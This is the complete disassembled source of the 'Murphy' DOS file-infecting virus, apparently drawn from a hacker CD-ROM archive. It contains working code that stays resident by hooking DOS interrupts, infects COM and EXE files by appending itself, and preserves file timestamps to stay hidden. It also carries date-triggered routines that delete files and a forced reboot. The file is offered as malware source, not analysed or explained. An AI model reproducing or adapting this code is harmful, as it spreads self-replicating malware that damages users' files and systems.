home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / murphy.asm < prev    next >
Assembly Source File  |  1995-01-03  |  16KB  |  672 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    MURPHY                         ██
  7. ;██                                         ██
  8. ;██      Created:   4-Mar-91                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    4Ch            ; (0000:004C=74h)
  16. data_3e        equ    84h            ; (0000:0084=0EBh)
  17. data_5e        equ    90h            ; (0000:0090=56h)
  18. data_7e        equ    102h            ; (0000:0102=0F000h)
  19. data_8e        equ    106h            ; (0000:0106=0F000h)
  20. data_9e        equ    47Bh            ; (0000:047B=14h)
  21. data_10e    equ    0            ; (4098:0000=0FFh)
  22. data_11e    equ    1            ; (4099:0001=0FFFFh)
  23. data_12e    equ    2            ; (40EB:0002=0FFFFh)
  24. data_13e    equ    6            ; (40EB:0006=0FFFFh)
  25. data_31e    equ    0FC99h            ; (7415:FC99=0)
  26. data_32e    equ    0FC9Bh            ; (7415:FC9B=0)
  27. data_33e    equ    0FCB7h            ; (7415:FCB7=0)
  28. data_34e    equ    0FCB9h            ; (7415:FCB9=0)
  29. data_35e    equ    0FCBBh            ; (7415:FCBB=0)
  30. data_36e    equ    0FCC5h            ; (7415:FCC5=0)
  31. data_37e    equ    0FCC7h            ; (7415:FCC7=0)
  32. data_38e    equ    0FCCDh            ; (7415:FCCD=0)
  33. data_39e    equ    0FCCFh            ; (7415:FCCF=0)
  34. data_40e    equ    0            ; (F000:0000=0AA55h)
  35. data_41e    equ    2            ; (F000:0002=40h)
  36.   
  37. seg_a        segment    byte public
  38.         assume    cs:seg_a, ds:seg_a
  39.   
  40.   
  41.         org    100h
  42.   
  43. murphy        proc    far
  44.   
  45. start:
  46.         jmp    loc_28            ; (0466)
  47.         db    0C3h
  48.         db    23 dup (0C3h)
  49.         db    2Ah, 2Eh, 45h, 58h, 45h, 0
  50. data_17        dw    0C3C3h
  51. data_18        dw    0C3C3h
  52. data_19        db    0, 0
  53. data_20        dw    0
  54. data_21        dw    0
  55. data_22        dw    0
  56. data_23        dw    7415h
  57. data_24        dd    00000h
  58. data_25        dw    0
  59. data_26        dw    7415h
  60. data_27        dd    00000h
  61. data_28        dw    0
  62. data_29        dw    7415h
  63.         db    0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan'
  64.         db    'ta Swami Prabhupada (1896-1977)', 0Ah
  65.         db    0Dh, 0Ah, 0Dh, '$'
  66.         db    '=MKu', 9, 'U'
  67.         db    8Bh, 0ECh, 83h, 66h, 6, 0FEh
  68.         db    5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
  69.         db    12h, 3Dh, 0, 3Dh, 74h, 0Dh
  70.         db    3Dh, 0, 6Ch, 75h, 5, 80h
  71.         db    0FBh, 0, 74h, 3, 0E9h, 0BEh
  72.         db    0, 6, 1Eh, 57h, 56h, 55h
  73.         db    52h, 51h, 53h, 50h, 0E8h, 48h
  74.         db    2, 0E8h, 82h, 2, 3Dh, 0
  75.         db    6Ch, 75h, 2, 8Bh, 0D6h
  76. loc_1:
  77.         mov    cx,80h
  78.         mov    si,dx
  79.   
  80. locloop_2:
  81.         inc    si
  82.         mov    al,[si]
  83.         or    al,al            ; Zero ?
  84.         loopnz    locloop_2        ; Loop if zf=0, cx>0
  85.   
  86.         sub    si,2
  87.         cmp    word ptr [si],4D4Fh
  88.         je    loc_5            ; Jump if equal
  89.         cmp    word ptr [si],4558h
  90.         je    loc_4            ; Jump if equal
  91. loc_3:
  92.         jmp    short loc_12        ; (024A)
  93.         db    90h
  94. loc_4:
  95.         cmp    word ptr [si-4],4E41h
  96.         je    loc_6            ; Jump if equal
  97.         cmp    word ptr [si-4],444Ch
  98.         je    loc_6            ; Jump if equal
  99.         cmp    word ptr [si-4],4A52h
  100.         je    loc_6            ; Jump if equal
  101.         jnz    loc_7            ; Jump if not zero
  102. loc_5:
  103.         cmp    word ptr [si-4],444Eh
  104.         je    loc_3            ; Jump if equal
  105.         jnz    loc_8            ; Jump if not zero
  106. loc_6:
  107.         int    19h            ; Bootstrap loader
  108. loc_7:
  109.         jz    loc_8            ; Jump if zero
  110. loc_8:
  111.         mov    ax,3D02h
  112.         call    sub_5            ; (03E5)
  113.         jc    loc_12            ; Jump if carry Set
  114.         mov    bx,ax
  115.         mov    ax,5700h
  116.         call    sub_5            ; (03E5)
  117.         mov    cs:data_20,cx        ; (7415:0127=0)
  118.         mov    cs:data_21,dx        ; (7415:0129=0)
  119.         mov    ax,4200h
  120.         xor    cx,cx            ; Zero register
  121.         xor    dx,dx            ; Zero register
  122.         call    sub_5            ; (03E5)
  123.         push    cs
  124.         pop    ds
  125.         mov    dx,103h
  126.         mov    si,dx
  127.         mov    cx,18h
  128.         mov    ah,3Fh            ; '?'
  129.         call    sub_5            ; (03E5)
  130.         jc    loc_10            ; Jump if carry Set
  131.         cmp    word ptr [si],5A4Dh
  132.         jne    loc_9            ; Jump if not equal
  133.         call    sub_1            ; (025B)
  134.         jmp    short loc_10        ; (0233)
  135. loc_9:
  136.         call    sub_4            ; (036B)
  137. loc_10:
  138.         jc    loc_11            ; Jump if carry Set
  139.         mov    ax,5701h
  140.         mov    cx,cs:data_20        ; (7415:0127=0)
  141.         mov    dx,cs:data_21        ; (7415:0129=0)
  142.         call    sub_5            ; (03E5)
  143. loc_11:
  144.         mov    ah,3Eh            ; '>'
  145.         call    sub_5            ; (03E5)
  146. loc_12:
  147.         call    sub_7            ; (0429)
  148.         pop    ax
  149.         pop    bx
  150.         pop    cx
  151.         pop    dx
  152.         pop    bp
  153.         pop    si
  154.         pop    di
  155.         pop    ds
  156.         pop    es
  157. loc_13:
  158.         jmp    cs:data_24        ; (7415:012F=0)
  159.   
  160. murphy        endp
  161.   
  162. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  163. ;                   SUBROUTINE
  164. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  165.   
  166. sub_1        proc    near
  167.         mov    ah,2Ah            ; '*'
  168.         int    21h            ; DOS Services  ah=function 2Ah
  169.                         ;  get date, cx=year, dx=mon/day
  170.         cmp    dh,4
  171.         je    loc_14            ; Jump if equal
  172.         jnz    loc_15            ; Jump if not zero
  173. loc_14:
  174.         mov    ah,2Ah            ; '*'
  175.         int    21h            ; DOS Services  ah=function 2Ah
  176.                         ;  get date, cx=year, dx=mon/day
  177.         cmp    dl,0Fh
  178.         je    loc_16            ; Jump if equal
  179.         jnz    loc_15            ; Jump if not zero
  180. loc_15:
  181.         mov    cx,[si+16h]
  182.         add    cx,[si+8]
  183.         mov    ax,10h
  184.         mul    cx            ; dx:ax = reg * ax
  185.         add    ax,[si+14h]
  186.         adc    dx,0
  187.         push    dx
  188.         push    ax
  189.         mov    ax,4202h
  190.         xor    cx,cx            ; Zero register
  191.         xor    dx,dx            ; Zero register
  192.         call    sub_5            ; (03E5)
  193.         cmp    dx,0
  194.         jne    loc_17            ; Jump if not equal
  195.         cmp    ax,4E2h
  196.         jae    loc_17            ; Jump if above or =
  197.         pop    ax
  198.         pop    dx
  199.         stc                ; Set carry flag
  200.         retn
  201. loc_16:
  202.         mov    dx,10h
  203.         mov    ah,1Ah
  204.         int    21h            ; DOS Services  ah=function 1Ah
  205.                         ;  set DTA to ds:dx
  206.         mov    dx,11Bh
  207.         mov    cx,110Bh
  208.         mov    ah,4Eh            ; 'N'
  209.         int    21h            ; DOS Services  ah=function 4Eh
  210.                         ;  find 1st filenam match @ds:dx
  211.         mov    dx,2Eh
  212.         mov    ax,3D02h
  213.         int    15h            ; General services, ah=func 3Dh
  214.         mov    ah,41h            ; 'A'
  215.         int    21h            ; DOS Services  ah=function 41h
  216.                         ;  delete file, name @ ds:dx
  217.         jmp    loc_23            ; (0395)
  218.         db    0BAh, 3Fh, 1, 0B4h, 9, 0CDh
  219.         db    21h, 0EBh, 1, 90h
  220. loc_17:
  221.         mov    di,ax
  222.         mov    bp,dx
  223.         pop    cx
  224.         sub    ax,cx
  225.         pop    cx
  226.         sbb    dx,cx
  227.         cmp    word ptr [si+0Ch],0
  228.         je    loc_ret_20        ; Jump if equal
  229.         cmp    dx,0
  230.         jne    loc_18            ; Jump if not equal
  231.         cmp    ax,4E2h
  232.         jne    loc_18            ; Jump if not equal
  233.         stc                ; Set carry flag
  234.         retn
  235. loc_18:
  236.         mov    dx,bp
  237.         mov    ax,di
  238.         push    dx
  239.         push    ax
  240.         add    ax,4E2h
  241.         adc    dx,0
  242.         mov    cx,200h
  243.         div    cx            ; ax,dx rem=dx:ax/reg
  244.         les    di,dword ptr [si+2]    ; Load 32 bit ptr
  245.         mov    cs:data_22,di        ; (7415:012B=0)
  246.         mov    cs:data_23,es        ; (7415:012D=7415h)
  247.         mov    [si+2],dx
  248.         cmp    dx,0
  249.         je    loc_19            ; Jump if equal
  250.         inc    ax
  251. loc_19:
  252.         mov    [si+4],ax
  253.         pop    ax
  254.         pop    dx
  255.         call    sub_2            ; (034C)
  256.         sub    ax,[si+8]
  257.         les    di,dword ptr [si+14h]    ; Load 32 bit ptr
  258.         mov    data_17,di        ; (7415:0121=0C3C3h)
  259.         mov    data_18,es        ; (7415:0123=0C3C3h)
  260.         mov    [si+14h],dx
  261.         mov    [si+16h],ax
  262.         mov    word ptr data_19,ax    ; (7415:0125=0)
  263.         mov    ax,4202h
  264.         xor    cx,cx            ; Zero register
  265.         xor    dx,dx            ; Zero register
  266.         call    sub_5            ; (03E5)
  267.         call    sub_3            ; (035D)
  268.         jc    loc_ret_20        ; Jump if carry Set
  269.         mov    ax,4200h
  270.         xor    cx,cx            ; Zero register
  271.         xor    dx,dx            ; Zero register
  272.         call    sub_5            ; (03E5)
  273.         mov    ah,40h            ; '@'
  274.         mov    dx,si
  275.         mov    cx,18h
  276.         call    sub_5            ; (03E5)
  277.   
  278. loc_ret_20:
  279.         retn
  280.   
  281. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  282.   
  283. sub_2:
  284.         mov    cx,4
  285.         mov    di,ax
  286.         and    di,0Fh
  287.   
  288. locloop_21:
  289.         shr    dx,1            ; Shift w/zeros fill
  290.         rcr    ax,1            ; Rotate thru carry
  291.         loop    locloop_21        ; Loop if cx > 0
  292.   
  293.         mov    dx,di
  294.         retn
  295.   
  296. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  297.   
  298. sub_3:
  299.         mov    ah,40h            ; '@'
  300.         mov    cx,4E2h
  301.         mov    dx,100h
  302.         call    sub_6            ; (03EC)
  303.         jmp    short loc_27        ; (03E5)
  304.         db    90h
  305.   
  306. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  307.   
  308. sub_4:
  309.         mov    ah,2Ah            ; '*'
  310.         int    21h            ; DOS Services  ah=function 2Ah
  311.                         ;  get date, cx=year, dx=mon/day
  312.         cmp    al,6
  313.         je    loc_22            ; Jump if equal
  314.         jnz    loc_23            ; Jump if not zero
  315. loc_22:
  316.         mov    dx,10h
  317.         mov    ah,1Ah
  318.         int    21h            ; DOS Services  ah=function 1Ah
  319.                         ;  set DTA to ds:dx
  320.         mov    dx,11Bh
  321.         mov    cx,110Bh
  322.         mov    ah,4Eh            ; 'N'
  323.         int    21h            ; DOS Services  ah=function 4Eh
  324.                         ;  find 1st filenam match @ds:dx
  325.         mov    dx,2Eh
  326.         mov    ax,3D02h
  327.         int    15h            ; General services, ah=func 3Dh
  328.         mov    ah,41h            ; 'A'
  329.         int    21h            ; DOS Services  ah=function 41h
  330.                         ;  delete file, name @ ds:dx
  331.         jmp    short loc_23        ; (0395)
  332.         db    90h
  333. loc_23:
  334.         mov    ax,4202h
  335.         xor    cx,cx            ; Zero register
  336.         xor    dx,dx            ; Zero register
  337.         call    sub_5            ; (03E5)
  338.         cmp    ax,4E2h
  339.         jb    loc_ret_26        ; Jump if below
  340.         cmp    ax,0FA00h
  341.         jae    loc_ret_26        ; Jump if above or =
  342.         push    ax
  343.         cmp    byte ptr [si],0E9h
  344.         jne    loc_24            ; Jump if not equal
  345.         sub    ax,4E5h
  346.         cmp    ax,[si+1]
  347.         jne    loc_24            ; Jump if not equal
  348.         pop    ax
  349.         stc                ; Set carry flag
  350.         retn
  351. loc_24:
  352.         call    sub_3            ; (035D)
  353.         jnc    loc_25            ; Jump if carry=0
  354.         pop    ax
  355.         retn
  356. loc_25:
  357.         mov    ax,4200h
  358.         xor    cx,cx            ; Zero register
  359.         xor    dx,dx            ; Zero register
  360.         call    sub_5            ; (03E5)
  361.         pop    ax
  362.         sub    ax,3
  363.         mov    dx,121h
  364.         mov    si,dx
  365.         mov    byte ptr cs:[si],0E9h
  366.         mov    cs:[si+1],ax
  367.         mov    ah,40h            ; '@'
  368.         mov    cx,3
  369.         call    sub_5            ; (03E5)
  370.   
  371. loc_ret_26:
  372.         retn
  373. sub_1        endp
  374.   
  375.   
  376. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  377. ;                   SUBROUTINE
  378. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  379.   
  380. sub_5        proc    near
  381. loc_27:
  382.         pushf                ; Push flags
  383.         call    cs:data_24        ; (7415:012F=0)
  384.         retn
  385. sub_5        endp
  386.   
  387.   
  388. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  389. ;                   SUBROUTINE
  390. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  391.   
  392. sub_6        proc    near
  393.         push    ax
  394.         push    ds
  395.         push    es
  396.         xor    ax,ax            ; Zero register
  397.         push    ax
  398.         pop    ds
  399.         cli                ; Disable interrupts
  400.         les    ax,dword ptr ds:data_5e    ; (0000:0090=156h) Load 32 bit ptr
  401.         mov    cs:data_25,ax        ; (7415:0133=0)
  402.         mov    cs:data_26,es        ; (7415:0135=7415h)
  403.         mov    ax,44Eh
  404.         mov    ds:data_5e,ax        ; (0000:0090=156h)
  405.         mov    word ptr ds:data_5e+2,cs    ; (0000:0092=124Ch)
  406.         les    ax,dword ptr ds:data_1e    ; (0000:004C=774h) Load 32 bit ptr
  407.         mov    cs:data_28,ax        ; (7415:013B=0)
  408.         mov    cs:data_29,es        ; (7415:013D=7415h)
  409.         les    ax,cs:data_27        ; (7415:0137=0) Load 32 bit ptr
  410.         mov    ds:data_1e,ax        ; (0000:004C=774h)
  411.         mov    word ptr ds:data_1e+2,es    ; (0000:004E=70h)
  412.         sti                ; Enable interrupts
  413.         pop    es
  414.         pop    ds
  415.         pop    ax
  416.         retn
  417. sub_6        endp
  418.   
  419.   
  420. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  421. ;                   SUBROUTINE
  422. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  423.   
  424. sub_7        proc    near
  425.         push    ax
  426.         push    ds
  427.         push    es
  428.         xor    ax,ax            ; Zero register
  429.         push    ax
  430.         pop    ds
  431.         cli                ; Disable interrupts
  432.         les    ax,dword ptr cs:data_25    ; (7415:0133=0) Load 32 bit ptr
  433.         mov    ds:data_5e,ax        ; (0000:0090=156h)
  434.         mov    word ptr ds:data_5e+2,es    ; (0000:0092=124Ch)
  435.         les    ax,dword ptr cs:data_28    ; (7415:013B=0) Load 32 bit ptr
  436.         mov    ds:data_1e,ax        ; (0000:004C=774h)
  437.         mov    word ptr ds:data_1e+2,es    ; (0000:004E=70h)
  438.         sti                ; Enable interrupts
  439.         pop    es
  440.         pop    ds
  441.         pop    ax
  442.         retn
  443. sub_7        endp
  444.   
  445.         db    0B0h, 3, 0CFh
  446.   
  447. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  448. ;                   SUBROUTINE
  449. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  450.   
  451. sub_8        proc    near
  452.         mov    dx,10h
  453.         mul    dx            ; dx:ax = reg * ax
  454.         retn
  455. sub_8        endp
  456.   
  457.   
  458. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  459. ;                   SUBROUTINE
  460. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  461.   
  462. sub_9        proc    near
  463.         xor    ax,ax            ; Zero register
  464.         xor    bx,bx            ; Zero register
  465.         xor    cx,cx            ; Zero register
  466.         xor    dx,dx            ; Zero register
  467.         xor    si,si            ; Zero register
  468.         xor    di,di            ; Zero register
  469.         xor    bp,bp            ; Zero register
  470.         retn
  471. sub_9        endp
  472.   
  473. loc_28:
  474.         push    ds
  475.         call    sub_10            ; (046A)
  476.   
  477. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  478. ;                   SUBROUTINE
  479. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  480.   
  481. sub_10        proc    near
  482.         mov    ax,4B4Dh
  483.         nop
  484.         int    21h            ; DOS Services  ah=function 4Bh
  485.                         ;  run progm @ds:dx, parm @es:bx
  486.         jc    loc_29            ; Jump if carry Set
  487.         jmp    loc_39            ; (059C)
  488. loc_29:
  489.         pop    si
  490.         push    si
  491.         nop
  492.         mov    di,si
  493.         xor    ax,ax            ; Zero register
  494.         push    ax
  495.         pop    ds
  496.         les    ax,dword ptr ds:data_1e    ; (0000:004C=774h) Load 32 bit ptr
  497.         mov    cs:data_38e[si],ax    ; (7415:FCCD=0)
  498.         mov    cs:data_39e[si],es    ; (7415:FCCF=0)
  499.         les    bx,dword ptr ds:data_3e    ; (0000:0084=40EBh) Load 32 bit ptr
  500.         mov    cs:data_36e[di],bx    ; (7415:FCC5=0)
  501.         mov    cs:data_37e[di],es    ; (7415:FCC7=0)
  502.         mov    ax,ds:data_7e        ; (0000:0102=0F000h)
  503.         cmp    ax,0F000h
  504.         jne    loc_37            ; Jump if not equal
  505.         mov    dl,80h
  506.         mov    ax,ds:data_8e        ; (0000:0106=0F000h)
  507.         cmp    ax,0F000h
  508.         je    loc_30            ; Jump if equal
  509.         cmp    ah,0C8h
  510.         jb    loc_37            ; Jump if below
  511.         cmp    ah,0F4h
  512.         jae    loc_37            ; Jump if above or =
  513.         test    al,7Fh
  514.         jnz    loc_37            ; Jump if not zero
  515.         mov    ds,ax
  516.         cmp    word ptr ds:data_40e,0AA55h    ; (F000:0000=0AA55h)
  517.         jne    loc_37            ; Jump if not equal
  518.         mov    dl,ds:data_41e        ; (F000:0002=40h)
  519. loc_30:
  520.         mov    ds,ax
  521.         xor    dh,dh            ; Zero register
  522.         mov    cl,9
  523.         shl    dx,cl            ; Shift w/zeros fill
  524.         mov    cx,dx
  525.         xor    si,si            ; Zero register
  526.   
  527. locloop_31:
  528.         lodsw                ; String [si] to ax
  529.         cmp    ax,0FA80h
  530.         jne    loc_32            ; Jump if not equal
  531.         lodsw                ; String [si] to ax
  532.         cmp    ax,7380h
  533.         je    loc_33            ; Jump if equal
  534.         jnz    loc_34            ; Jump if not zero
  535. loc_32:
  536.         cmp    ax,0C2F6h
  537.         jne    loc_35            ; Jump if not equal
  538.         lodsw                ; String [si] to ax
  539.         cmp    ax,7580h
  540.         jne    loc_34            ; Jump if not equal
  541. loc_33:
  542.         inc    si
  543.         lodsw                ; String [si] to ax
  544.         cmp    ax,40CDh
  545.         je    loc_36            ; Jump if equal
  546.         sub    si,3
  547. loc_34:
  548.         dec    si
  549.         dec    si
  550. loc_35:
  551.         dec    si
  552.         loop    locloop_31        ; Loop if cx > 0
  553.   
  554.         jmp    short loc_37        ; (050B)
  555. loc_36:
  556.         sub    si,7
  557.         mov    cs:data_38e[di],si    ; (7415:FCCD=0)
  558.         mov    cs:data_39e[di],ds    ; (7415:FCCF=0)
  559. loc_37:
  560.         mov    ah,62h            ; 'b'
  561.         int    21h            ; DOS Services  ah=function 62h
  562.                         ;  get progrm seg prefix addr bx
  563.         mov    es,bx
  564.         mov    ah,49h            ; 'I'
  565.         int    21h            ; DOS Services  ah=function 49h
  566.                         ;  release memory block, es=seg
  567.         mov    bx,0FFFFh
  568.         mov    ah,48h            ; 'H'
  569.         int    21h            ; DOS Services  ah=function 48h
  570.                         ;  allocate memory, bx=bytes/16
  571.         sub    bx,50h
  572.         nop
  573.         jc    loc_39            ; Jump if carry Set
  574.         mov    cx,es
  575.         stc                ; Set carry flag
  576.         adc    cx,bx
  577.         mov    ah,4Ah            ; 'J'
  578.         int    21h            ; DOS Services  ah=function 4Ah
  579.                         ;  change mem allocation, bx=siz
  580.         mov    bx,4Fh
  581.         stc                ; Set carry flag
  582.         sbb    es:data_12e,bx        ; (40EB:0002=0FFFFh)
  583.         push    es
  584.         mov    es,cx
  585.         mov    ah,4Ah            ; 'J'
  586.         int    21h            ; DOS Services  ah=function 4Ah
  587.                         ;  change mem allocation, bx=siz
  588.         mov    ax,es
  589.         dec    ax
  590.         mov    ds,ax
  591.         mov    word ptr ds:data_11e,8    ; (4099:0001=0FFFFh)
  592.         call    sub_8            ; (0451)
  593.         mov    bx,ax
  594.         mov    cx,dx
  595.         pop    ds
  596.         mov    ax,ds
  597.         call    sub_8            ; (0451)
  598.         add    ax,ds:data_13e        ; (40EB:0006=0FFFFh)
  599.         adc    dx,0
  600.         sub    ax,bx
  601.         sbb    dx,cx
  602.         jc    loc_38            ; Jump if carry Set
  603.         sub    ds:data_13e,ax        ; (40EB:0006=0FFFFh)
  604. loc_38:
  605.         mov    si,di
  606.         xor    di,di            ; Zero register
  607.         push    cs
  608.         pop    ds
  609.         sub    si,36Ah
  610.         mov    cx,4E2h
  611.         inc    cx
  612.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  613.         mov    ah,62h            ; 'b'
  614.         int    21h            ; DOS Services  ah=function 62h
  615.                         ;  get progrm seg prefix addr bx
  616.         dec    bx
  617.         mov    ds,bx
  618.         mov    byte ptr ds:data_10e,5Ah    ; (4098:0000=0FFh) 'Z'
  619.         mov    dx,173h
  620.         xor    ax,ax            ; Zero register
  621.         push    ax
  622.         pop    ds
  623.         mov    ax,es
  624.         sub    ax,10h
  625.         mov    es,ax
  626.         cli                ; Disable interrupts
  627.         mov    ds:data_3e,dx        ; (0000:0084=40EBh)
  628.         mov    word ptr ds:data_3e+2,es    ; (0000:0086=11h)
  629.         sti                ; Enable interrupts
  630.         dec    byte ptr ds:data_9e    ; (0000:047B=14h)
  631. loc_39:
  632.         pop    si
  633.         cmp    word ptr cs:data_31e[si],5A4Dh    ; (7415:FC99=0)
  634.         jne    loc_40            ; Jump if not equal
  635.         pop    ds
  636.         mov    ax,cs:data_35e[si]    ; (7415:FCBB=0)
  637.         mov    bx,cs:data_34e[si]    ; (7415:FCB9=0)
  638.         push    cs
  639.         pop    cx
  640.         sub    cx,ax
  641.         add    cx,bx
  642.         push    cx
  643.         push    word ptr cs:data_33e[si]    ; (7415:FCB7=0)
  644.         push    ds
  645.         pop    es
  646.         call    sub_9            ; (0457)
  647.         retf                ; Return far
  648. loc_40:
  649.         pop    ax
  650.         mov    ax,cs:data_31e[si]    ; (7415:FC99=0)
  651.         mov    word ptr cs:[100h],ax    ; (7415:0100=63E9h)
  652.         mov    ax,cs:data_32e[si]    ; (7415:FC9B=0)
  653.         mov    word ptr cs:[102h],ax    ; (7415:0102=0C303h)
  654.         mov    ax,100h
  655.         push    ax
  656.         push    cs
  657.         pop    ds
  658.         push    ds
  659.         pop    es
  660.         call    sub_9            ; (0457)
  661.         retn
  662. sub_10        endp
  663.   
  664.   
  665. seg_a        ends
  666.   
  667.   
  668.   
  669.         end    start
  670.  
  671. Downloaded From P-80 International Information Systems 304-744-2253
  672.